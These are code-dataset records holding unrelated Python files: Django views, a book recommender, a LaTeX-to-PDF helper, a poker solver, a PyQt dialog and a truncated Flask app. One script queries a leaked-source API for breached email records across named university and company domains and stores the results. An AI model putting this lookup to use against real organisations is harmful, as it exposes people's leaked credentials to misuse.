succesful!'\n return redirect(obj.get_absolute_url())\n return render(request, \"recipes/create-update.html\", context)", "sub_path": "recipes/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1551, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "models.Recipe.objects.filter", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Recipe.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Recipe", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 9, "usage_type": "name"}, {"api_name": "models.Recipe.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Recipe.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Recipe", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Recipe", "line_number": 21, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 18, "usage_type": "name"}, {"api_name": "forms.RecipeForm", "line_number": 30, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 28, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 44, "usage_type": "call"}, {"api_name": "models.Recipe", "line_number": 44, "usage_type": "argument"}, {"api_name": "forms.RecipeForm", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 42, "usage_type": "name"}]} {"seq_id": "506212965", "text": "import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nimport re\r\nimport sklearn.metrics.pairwise as pw\r\nfrom scipy import sparse\r\nfrom sklearn.metrics.pairwise import pairwise_distances\r\n\r\n\r\ndef similar_items(title):\r\n cos_sim = title_based_recom(title)\r\n cos_sim = cos_sim[cos_sim['ratings_count'] > 1000]\r\n a = cos_sim.sort_values(by='ratings_count')\r\n cos_sim = cos_sim.drop(['user_id', 'rating'], axis=1)\r\n cos_sim = cos_sim.drop_duplicates()\r\n\r\n return cos_sim\r\n\r\n\r\ndef title_based_recom(input_book_name):\r\n books_details_df = pd.read_csv('C:/Users/Nikhita/Desktop/Dataset/Final/final_book_details.csv')\r\n # books_details_df = books_details_df.drop(columns=['invoice_date', 'Quantity'])\r\n pivot_item_based = pd.pivot_table(books_details_df,\r\n index='book_title',\r\n columns=['user_id'], values='rating')\r\n sparse_pivot = sparse.csr_matrix(pivot_item_based.fillna(pivot_item_based.mean(axis=0)))\r\n recommender = pw.cosine_similarity(sparse_pivot)\r\n\r\n recommender_df = pd.DataFrame(recommender,\r\n columns=pivot_item_based.index,\r\n index=pivot_item_based.index)\r\n\r\n ## Item Rating Based Cosine Similarity\r\n cosine_df = pd.DataFrame(recommender_df[input_book_name].sort_values(ascending=False))\r\n cosine_df.reset_index(level=0, inplace=True)\r\n cosine_df.columns = ['title', 'cosine_sim']\r\n df_count = pd.merge(cosine_df, books_details_df, on='title')\r\n return df_count\r\n\r\n\r\ntitle_recommendation = title_based_recom(\"How to Win Friends and Influence People\")\r\n\r\ntitle_recommendation.to_csv(\"C:/Users/Nikhita/Desktop/Dataset/Final/Output/title_recommendation.csv\")\r\n", "sub_path": "ADM_Project_V1/item_based_recommendation.py", "file_name": "item_based_recommendation.py", "file_ext": "py", "file_size_in_byte": 1801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.pivot_table", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 26, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 26, "usage_type": "name"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise", "line_number": 27, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 37, "usage_type": "call"}]} {"seq_id": "91202320", "text": "import os\nfrom shutil import copyfile\nfrom subprocess import PIPE, run\nimport tempfile\nimport logging\nfrom website.settings import BASE_DIR\n\nfrom django.template.loader import get_template\n\nfrom django_tex.exceptions import TexError\nfrom django.conf import settings\n\nfrom django_tex.response import PDFResponse\n\nDEFAULT_INTERPRETER = 'lualatex'\n\n\ndef render_latex_pdf(request, template_name, context, run_twice=True, filename=\"sample.pdf\", needed_files=None):\n \"\"\"\n function to render LaTeX templates in cooperation with django_tex\n :param request: the master request\n :param template_name: name of the template to render\n :param context: context variables used for rendering\n :param run_twice: run latex twice for example for formatting, etc. [standard true]\n :param filename: name of the PDF returned\n :param needed_files: path of files needed starting at orpheuscc\n :return: hopefully correct rendered PDF\n \"\"\"\n if needed_files is None:\n needed_files = []\n source = get_template(template_name, using='tex').render(context)\n\n # create temporary directory to render PDF\n with tempfile.TemporaryDirectory() as tempdir:\n\n # write rendered LaTeX file into texput.tex\n filename_tex = os.path.join(tempdir, 'texput.tex')\n with open(filename_tex, 'x', encoding='utf-8') as f:\n f.write(source)\n\n # copy needed files into temporary directory\n for nf in needed_files:\n path_nf = os.path.join(BASE_DIR, nf)\n if os.path.isfile(path_nf):\n copyfile(path_nf, os.path.join(tempdir, os.path.basename(path_nf)))\n\n # build command for latex interpreter\n latex_interpreter = getattr(settings, 'LATEX_INTERPRETER', DEFAULT_INTERPRETER)\n latex_interpreter_options = getattr(settings, 'LATEX_INTERPRETER_OPTIONS', '')\n latex_command = f'{latex_interpreter} -output-directory=\"{tempdir}\" -interaction=batchmode {latex_interpreter_options} {os.path.basename(filename_tex)}'\n\n # run interpreter once or twice\n if run_twice:\n run(latex_command, shell=True, stdout=PIPE, stderr=PIPE)\n process = run(latex_command, shell=True, stdout=PIPE, stderr=PIPE)\n\n # evaluate result of rendering process\n try:\n if process.returncode == 1:\n with open(os.path.join(tempdir, 'texput.log'), encoding='utf8') as f:\n log = f.read()\n raise TexError(log=log, source=source)\n with open(os.path.join(tempdir, 'texput.pdf'), 'rb') as pdf_file:\n pdf = pdf_file.read()\n except FileNotFoundError:\n if process.stderr:\n raise Exception(process.stderr.decode('utf-8'))\n raise\n\n return PDFResponse(pdf, filename=filename)\n", "sub_path": "anmeldung/document_creator.py", "file_name": "document_creator.py", "file_ext": "py", "file_size_in_byte": 2806, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.template.loader.get_template", "line_number": 31, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "website.settings.BASE_DIR", "line_number": 43, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 45, "usage_type": "call"}, {"api_name": "django.conf.settings", "line_number": 48, "usage_type": "argument"}, {"api_name": "django.conf.settings", "line_number": 49, "usage_type": "argument"}, {"api_name": "os.path.basename", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 54, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 54, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 55, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 55, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django_tex.exceptions.TexError", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "django_tex.response.PDFResponse", "line_number": 70, "usage_type": "call"}]} {"seq_id": "30542402", "text": "from APIDownloader import APIDownloader\nfrom argparse import ArgumentParser\nfrom pyspark import SparkContext, StorageLevel\nfrom pyspark.sql import HiveContext\nimport json\n\nif __name__ == \"__main__\":\n\n sc = SparkContext()\n sqlContext = HiveContext(sc)\n\n parser = ArgumentParser()\n parser.add_argument(\"-f\", \"--outputFolder\", type=str, help=\"Output foldername\", required=True)\n parser.add_argument(\"-t\", \"--team\", type=str, help=\"Team Name\", required=True)\n parser.add_argument(\"-d\", \"--date\", type=str, help=\"Greater than equal date\", required=True)\n parser.add_argument(\"-p\", \"--password\", type=str, help=\"password for connecting to hyperion gray api\", required=True)\n\n args = parser.parse_args()\n print (\"Got arguments:\", args)\n\n url = \"https://effect.hyperiongray.com/api/leaked-source/email?query=*@\"\n domains = [ \"alaska.edu\",\n \"apple.afsmith.bm\", #No results\n \"bremertonhousing.org\",\n \"clixsense.com\",\n \"Empireminecraft.com\", #No results\n \"eurekalert.org\",\n \"feverclan.com\",\n \"floridabar.org\", #No results\n \"i-dressup.com\",\n \"jivesoftware.com\",\n \"justformen.com\", #No result\n \"Last.fm\",\n \"manaliveinc.org\",\n \"newseasims.com\",\n \"saintfrancis.com\",\n \"ssctech.com\", #No result\n \"unm.edu\", #No result\n \"usc.edu\", #No result\n \"wpcapital.com\"\n ]\n\n apiDownloader = APIDownloader(sc, sqlContext)\n\n result_rdds = list()\n for domain in domains:\n results = apiDownloader.download_api(url + domain, \"isi\", args.password)\n if results is not None:\n if \"results\" in results:\n if len(results[\"results\"]) > 0:\n rdd = sc.parallelize(results[\"results\"])\n apiDownloader.load_into_cdr(results[\"results\"], \"hg_leaked_source\", args.team, \"hg-leaked-source\")\n result_rdds.append(rdd)\n\n if len(result_rdds) > 0:\n all_rdd = result_rdds[0]\n for rdd in result_rdds[1:]:\n all_rdd = all_rdd.union(rdd)\n\n all_rdd.map(lambda x: (\"hg-leaked-source\", json.dumps(x))).saveAsSequenceFile(args.outputFolder + \"/hg-leaked-source\")\n\n\n", "sub_path": "scripts/APIDownloader/hgLeakedSourceAPI.py", "file_name": "hgLeakedSourceAPI.py", "file_ext": "py", "file_size_in_byte": 2359, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyspark.SparkContext", "line_number": 9, "usage_type": "call"}, {"api_name": "pyspark.sql.HiveContext", "line_number": 10, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "APIDownloader.APIDownloader", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 60, "usage_type": "call"}]} {"seq_id": "428444682", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Jesse Rubin - project Euler\n\"\"\"\nPoker hands\nProblem 54\nIn the card game poker, a hand consists of five cards and are ranked, from\nlowest to highest, in the following way:\n\nHigh Card: Highest value card.\nOne Pair: Two cards of the same value.\nTwo Pairs: Two different pairs.\nThree of a Kind: Three cards of the same value.\nStraight: All cards are consecutive values.\nFlush: All cards of the same suit.\nFull House: Three of a kind and a pair.\nFour of a Kind: Four cards of the same value.\nStraight Flush: All cards are consecutive values of same suit.\nRoyal Flush: Ten, Jack, Queen, King, Ace, in same suit.\n\nThe cards are valued in the order:\n2, 3, 4, 5, 6, 7, 8, 9, 10, Jack, Queen, King, Ace.\n\nIf two players have the same ranked hands then the rank made up of the highest\nvalue wins; for example, a pair of eights beats a pair of fives (see example 1\nbelow). But if two ranks tie, for example, both players have a pair of queens,\nthen highest cards in each hand are compared (see example 4 below); if the\nhighest cards tie then the next highest cards are compared, and so on.\n\nConsider the following five hands dealt to two players:\n\nHand\t \tPlayer 1\t \tPlayer 2\t \tWinner\n1\t \t5H 5C 6S 7S KD 2C 3S 8S 8D TD Player 2\n Pair of Fives Pair of Eights\n\n2\t \t5D 8C 9S JS AC 2C 5C 7D 8S QH Player 1\n High card Ace High card Queen\n\n3\t \t2D 9C AS AH AC 3D 6D 7D TD QD Player 2\n Three Aces Flush w/ Diamonds\n\n4\t \t4D 6S 9H QH QC 3D 6D 7H QD QS Player 1\n Pair of Queens Pair of Queens\n High card Nine High card Seven\n\n5\t \t2H 2D 4C 4D 4S 3C 3D 3S 9S 9D Player 1\n Full House Full House\n w/ Three Fours w/ Three Threes\n\nThe file, poker.txt, contains one-thousand random hands dealt to two players.\nEach line of the file contains ten cards (separated by a single space): the\nfirst five are Player 1's cards and the last five are Player 2's cards. You can\nassume that all hands are valid (no invalid characters or repeated cards),\neach player's hand is in no specific order, and in each hand there is a clear\nwinner.\n\nHow many hands does Player 1 win?\n\"\"\"\nfrom collections import Counter\n\n\nclass Card(object):\n\n def __init__(self, val, suit, strang):\n self.val = val\n self.suit = suit\n self.strang = strang\n\n @classmethod\n def string_to_card(self, strang):\n chars = [c for c in strang]\n val = 0\n suit = chars[1]\n try:\n val = int(chars[0])\n except ValueError:\n if chars[0] == 'T':\n val = 10\n elif chars[0] == 'J':\n val = 11\n elif chars[0] == 'Q':\n val = 12\n elif chars[0] == 'K':\n val = 13\n elif chars[0] == 'A':\n val = 14\n return Card(val, suit, strang)\n\n def __str__(self):\n return self.strang\n\n def __repr__(self):\n return self.strang\n\n\nclass PokerHand(object):\n\n def __init__(self, cards):\n self.cards = cards\n self.suits_counter = Counter(card.suit for card in cards)\n self.vals_counter = Counter(card.val for card in cards)\n self.rank_counter = self.evaluate_rank()\n\n def evaluate_rank(self):\n \"\"\"\n 0 --- High Card: Highest value card.\n 1 --- One Pair: Two cards of the same value.\n 2 --- Two Pairs: Two different pairs.\n 3 --- Three of a Kind: Three cards of the same value.\n 4 --- Straight: All cards are consecutive values.\n 5 --- Flush: All cards of the same suit.\n 6 --- Full House: Three of a kind and a pair.\n 7 --- Four of a Kind: Four cards of the same value.\n 8 --- Straight Flush: All cards are consecutive values of same suit.\n 8.5 --- Royal Flush: Ten, Jack, Queen, King, Ace, in same suit.\n \"\"\"\n rank_counter = Counter()\n rank_counter[0] = max(v for v in self.vals_counter.keys())\n low_card = min(v for v in self.vals_counter.keys())\n\n for val, count in self.vals_counter.items():\n if count == 4:\n rank_counter[7] = val\n if count == 3:\n rank_counter[3] = val\n if count == 2 and 1 not in rank_counter:\n rank_counter[1] = val\n if count == 2 and 1 in rank_counter:\n if val > rank_counter[1]:\n rank_counter[2] = val\n elif val < rank_counter[1]:\n temp = rank_counter[1]\n rank_counter[1] = val\n rank_counter[2] = temp\n\n # check for full house\n if 3 in rank_counter and 1 in rank_counter:\n rank_counter[6] = rank_counter[3]\n\n # check for flushes and straights\n flush = True if len(self.suits_counter) == 1 else False\n\n if 14 in self.vals_counter.keys() and 2 in self.vals_counter.keys():\n straight = True if set(self.vals_counter.keys()) == {2, 3, 4, 5, 14} else False\n else:\n straight = True if len(self.vals_counter) == 5 and rank_counter[0]-(low_card-1) == 5 else False\n\n if flush and straight: # don't really need to deal with rank 9\n if rank_counter[0] == 14 and low_card == 10:\n rank_counter[9] = rank_counter[0]\n else:\n rank_counter[8] = rank_counter[0]\n elif flush and not straight:\n rank_counter[5] = rank_counter[0]\n elif not flush and straight:\n if 14 in self.vals_counter.keys() and 2 in self.vals_counter.keys():\n rank_counter[4] = 5\n else:\n rank_counter[4] = rank_counter[0]\n return rank_counter\n\n def __str__(self):\n return \" \".join(c.__str__() for c in self.cards)\n\n def __repr__(self):\n return \" \".join(c.__str__() for c in self.cards)\n\n def __gt__(self, p2_hand):\n for rank in range(9, -1, -1):\n if rank in self.rank_counter and rank not in p2_hand.rank_counter:\n return True\n if rank not in self.rank_counter and rank in p2_hand.rank_counter:\n return False\n if rank in self.rank_counter and rank in p2_hand.rank_counter:\n if self.rank_counter[rank] > p2_hand.rank_counter[rank]:\n return True\n elif self.rank_counter[rank] < p2_hand.rank_counter[rank]:\n return False\n return None\n\n\nwith open(\"../txt_files/p054_poker.txt\") as f:\n games = [game.strip('\\n').split(' ') for game in f.readlines()]\n\n\ndef p054():\n p1_wins = 0\n for g in games:\n for c in g:\n Card.string_to_card(c)\n player_1 = PokerHand([Card.string_to_card(card_string) for card_string in g[:5]])\n player_2 = PokerHand([Card.string_to_card(card_string) for card_string in g[5:]])\n if player_1 > player_2:\n p1_wins += 1\n return p1_wins\n\n\nif __name__ == '__main__':\n answer = p054()\n print(\"Player 1 wins {} times\".format(answer))", "sub_path": "done/py/euler_054.py", "file_name": "euler_054.py", "file_ext": "py", "file_size_in_byte": 7079, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.Counter", "line_number": 100, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 101, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 117, "usage_type": "call"}]} {"seq_id": "523136899", "text": "\"\"\"New character dialog\"\"\"\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom os import path\n\nfrom . import commands, util\nfrom npc.character import Character\nfrom npc.commands.util import create_path_from_character\nfrom .uis.new_character import Ui_NewCharacterDialog\n\nclass NewCharacterDialog(QtWidgets.QDialog, Ui_NewCharacterDialog):\n \"\"\"Dialog for creating a new character\"\"\"\n\n def __init__(self, parent, prefs):\n \"\"\"\n Create the new character dialog\n\n User inputs are stored in the dialog's `values` variable. They are\n updated immediately when the user makes a change.\n\n args:\n parent (QtWindow): Parent for the dialog\n prefs (Settings): Settings object to use for commands\n \"\"\"\n\n QtWidgets.QDialog.__init__(self, parent)\n Ui_NewCharacterDialog.__init__(self)\n\n self.prefs = prefs\n self.type_specific_widgets = []\n self.current_vbox_height_offset = 0\n self.values = {\n \"command\": commands.create_standard,\n \"name\": \"\",\n \"ctype\": \"\",\n \"dead\": False,\n \"foreign\": False,\n \"location\": \"\",\n \"groups\": [],\n }\n\n self.setupUi(self)\n\n self.path_dislpay = QtWidgets.QLabel(self)\n self.infoForm.insertRow(5, 'Path:', self.path_dislpay)\n self.path_timer = QtCore.QTimer()\n self.path_timer.setSingleShot(True)\n self.path_timer.setInterval(300)\n self.path_timer.timeout.connect(self.update_path)\n\n self.typeSelect.currentTextChanged.connect(lambda text: self.set_value(\"ctype\", text))\n self.characterName.textChanged.connect(lambda text: self.set_value(\"name\", text))\n self.groupName.textChanged.connect(lambda text: self.set_value(\"groups\", [text]))\n self.foreignBox.toggled.connect(self.set_foreign)\n self.foreignText.textChanged.connect(self.set_foreign)\n self.deceasedBox.toggled.connect(self.set_deceased)\n self.deceasedText.textChanged.connect(self.set_deceased)\n self.locName.textChanged.connect(lambda text: self.set_value(\"location\", text))\n\n self._setup_type_select()\n\n def _setup_type_select(self):\n \"\"\"\n Populate type selector and set default state\n \"\"\"\n for type_key in sorted(self.prefs.get_available_types()):\n item = self.typeSelect.addItem(type_key.title(), userData=type_key)\n default_index = self.typeSelect.findText(self.prefs.get('gui.defaults.character_type').title())\n if default_index != -1:\n self.typeSelect.setCurrentIndex(default_index)\n self.update_type_specific_controls(default_index)\n self.typeSelect.currentIndexChanged.connect(self.update_type_specific_controls)\n\n def set_value(self, key, value):\n \"\"\"\n Set a value\n\n This helper is designed to be called from a Qt signal connection using a\n lambda.\n\n Args:\n key (str): Key to set\n value (varies): Value to store\n \"\"\"\n\n self.values[key] = value\n self.path_timer.start()\n\n def update_path(self):\n \"\"\"Update the path label based on current values\"\"\"\n\n values = self.values.copy()\n\n tags = {}\n tags['type'] = values['ctype']\n if values['groups']:\n tags['group'] = values.pop('groups')\n\n tags.update({k: v for (k, v) in values.items() if v})\n\n temp_char = Character()\n temp_char.merge_all({**self.prefs.get('tag_defaults'), **tags})\n\n template_path = self.prefs.get('types.{}.sheet_template'.format(temp_char.type_key))\n char_name = values['name']\n if char_name:\n filename = char_name + path.splitext(template_path)[1]\n else:\n filename = ''\n base_path = create_path_from_character(temp_char, prefs=self.prefs)\n final_path = path.join(base_path, filename)\n\n path_exists = path.exists(final_path)\n\n if path_exists:\n self.buttonBox.button(QtWidgets.QDialogButtonBox.Ok).setEnabled(False)\n else:\n self.buttonBox.button(QtWidgets.QDialogButtonBox.Ok).setEnabled(True)\n\n if path_exists and char_name:\n self.path_dislpay.setText(\"Character already exists\")\n else:\n self.path_dislpay.setText(final_path)\n\n def set_foreign(self, _):\n \"\"\"Special handling for the compound `foreign` value\"\"\"\n\n if self.foreignBox.isChecked():\n if self.foreignText.text():\n self.set_value(\"foreign\", self.foreignText.text())\n else:\n self.set_value(\"foreign\", True)\n else:\n self.set_value(\"foreign\", False)\n\n def set_deceased(self, _=None):\n \"\"\"Special handling for the compound `deceased` value\"\"\"\n\n if self.deceasedBox.isChecked():\n if self.deceasedText.toPlainText():\n self.set_value(\"dead\", self.deceasedText.toPlainText())\n else:\n self.set_value(\"dead\", True)\n else:\n self.set_value(\"dead\", False)\n\n def update_type_specific_controls(self, index):\n \"\"\"\n Change the visible form fields based on the selected character type\n\n Args:\n index (int): Index of the type selection\n \"\"\"\n\n for widget in self.type_specific_widgets:\n self.infoForm.labelForField(widget).deleteLater()\n widget.deleteLater()\n self.type_specific_widgets = []\n\n new_vbox_height_offset = 0\n type_key = self.typeSelect.itemData(index)\n if type_key == 'changeling':\n new_vbox_height_offset = self.create_changeling_controls()\n elif type_key == 'werewolf':\n new_vbox_height_offset = self.create_werewolf_controls()\n else:\n self.create_basic_controls()\n\n new_vbox_height_offset += len(self.type_specific_widgets)*6\n\n self.resize(\n self.width(),\n self.height() - self.current_vbox_height_offset + new_vbox_height_offset)\n self.current_vbox_height_offset = new_vbox_height_offset\n\n\n def new_row(self, index, title, widget):\n \"\"\"\n Add a new row of controls to the form\n\n Args:\n index (int): Where to place the row in the form\n title (str): Label text for the row\n widget (QtWidget): Widget for the row\n\n Returns:\n The height of the row, as gotten from the widget\n \"\"\"\n\n self.infoForm.insertRow(index, title, widget)\n self.type_specific_widgets.append(widget)\n return widget.height()\n\n def create_basic_controls(self):\n \"\"\"\n Set up the base controls\n\n This just means resetting the tab order and internal data structures.\n\n All create_*_controls methods should return the height of their controls.\n\n Returns:\n Zero, since this doesn't create anything\n \"\"\"\n self.set_value(\"command\", commands.create_standard)\n self.setTabOrder(self.characterName, self.groupName)\n return 0\n\n def create_changeling_controls(self):\n \"\"\"\n Set up the changeling-specific controls\n\n Adds the seeming, kith, and court rows\n \"\"\"\n new_vbox_height_offset = 0\n seeming_select = QtWidgets.QComboBox(self)\n new_vbox_height_offset += self.new_row(2, '&Seeming', seeming_select)\n self.setTabOrder(self.characterName, seeming_select)\n\n kith_select = QtWidgets.QComboBox(self)\n new_vbox_height_offset += self.new_row(3, '&Kith', kith_select)\n self.setTabOrder(seeming_select, kith_select)\n\n courtInput = QtWidgets.QLineEdit(self)\n new_vbox_height_offset += self.new_row(4, '&Court', courtInput)\n self.setTabOrder(kith_select, courtInput)\n self.setTabOrder(courtInput, self.groupName)\n\n def update_kiths(_=0):\n \"\"\"Update the kith options from the selected seeming\"\"\"\n kith_select.clear()\n kith_select.addItems(seeming_select.currentData())\n\n seeming_select.currentIndexChanged.connect(update_kiths)\n seeming_select.currentTextChanged.connect(lambda text: self.set_value('seeming', text))\n kith_select.currentTextChanged.connect(lambda text: self.set_value('kith', text))\n courtInput.textChanged.connect(lambda text: self.set_value(\"court\", text))\n\n for seeming in self.prefs.get('changeling.seemings'):\n seeming_select.addItem(seeming.title(), userData=[kith.title() for kith in self.prefs.get('changeling.kiths.{}'.format(seeming))])\n\n self.set_value(\"command\", commands.create_changeling)\n\n return new_vbox_height_offset\n\n def create_werewolf_controls(self):\n \"\"\"\n Set up the werewolf-specific controls\n\n Adds the auspice and tribe rows\n \"\"\"\n new_vbox_height_offset = 0\n\n auspice_select = QtWidgets.QComboBox(self)\n new_vbox_height_offset += self.new_row(2, '&Auspice', auspice_select)\n for auspice in self.prefs.get('werewolf.auspices'):\n auspice_select.addItem(auspice.title())\n self.setTabOrder(self.characterName, auspice_select)\n\n tribe_select = QtWidgets.QComboBox(self)\n new_vbox_height_offset += self.new_row(2, '&Tribe', tribe_select)\n for tribe in self.prefs.get('werewolf.tribes.moon'):\n tribe_select.addItem(tribe.title())\n tribe_select.insertSeparator(tribe_select.count())\n for tribe in self.prefs.get('werewolf.tribes.pure'):\n tribe_select.addItem(tribe.title())\n self.setTabOrder(auspice_select, tribe_select)\n self.setTabOrder(tribe_select, self.groupName)\n\n auspice_select.currentTextChanged.connect(lambda text: self.set_value('auspice', text))\n tribe_select.currentTextChanged.connect(lambda text: self.set_value('tribe', text))\n\n return new_vbox_height_offset\n\n def run(self):\n \"\"\"\n Show the dialog\n\n Returns:\n True if the OK button was pressed, False if not. Use the values\n variable to retrieve the user's inputs.\n \"\"\"\n self.characterName.setFocus()\n result = self.exec_()\n return result == self.Accepted and self.values['name']\n", "sub_path": "npc/gui/new_character.py", "file_name": "new_character.py", "file_ext": "py", "file_size_in_byte": 10304, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 11, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 11, "usage_type": "name"}, {"api_name": "uis.new_character.Ui_NewCharacterDialog", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog.__init__", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 26, "usage_type": "name"}, {"api_name": "uis.new_character.Ui_NewCharacterDialog.__init__", "line_number": 27, "usage_type": "call"}, {"api_name": "uis.new_character.Ui_NewCharacterDialog", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 44, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 46, "usage_type": "name"}, {"api_name": "npc.character.Character", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "name"}, {"api_name": "npc.commands.util.create_path_from_character", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialogButtonBox", "line_number": 116, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 116, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialogButtonBox", "line_number": 118, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 216, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 216, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 220, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 220, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 224, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 224, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 254, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 254, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 260, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 260, "usage_type": "name"}]} {"seq_id": "41871352", "text": "'''\nThis is the default app controller for portality.\nFor inclusion in your own project you should make your own version of this controller\nand include the views you require, as well as writing new ones. Of course, views must \nalso be backed up by models, so have a look at the example models and use them / write \nnew ones as required too.\n'''\n\nfrom flask import Flask, request, abort, render_template\nfrom flask.views import View\nfrom flask.ext.login import login_user, current_user\n\nimport portality.models as models\nfrom portality.core import app, login_manager\n\nfrom portality.view.account import blueprint as account\nfrom portality.view.graph import blueprint as graph\nfrom portality.view.query import blueprint as query\nfrom portality.view.stream import blueprint as stream\nfrom portality.view.question import blueprint as question\nfrom portality.view.answer import blueprint as answer\nfrom portality.view.mine import blueprint as mine\nfrom portality.view.leviathan import blueprint as leviathan\n\n\napp.register_blueprint(account, url_prefix='/account')\napp.register_blueprint(graph, url_prefix='/graph')\napp.register_blueprint(query, url_prefix='/query')\napp.register_blueprint(stream, url_prefix='/stream')\napp.register_blueprint(question, url_prefix='/question')\napp.register_blueprint(answer, url_prefix='/answer')\napp.register_blueprint(mine, url_prefix='/mine')\napp.register_blueprint(leviathan)\n\n\n@login_manager.user_loader\ndef 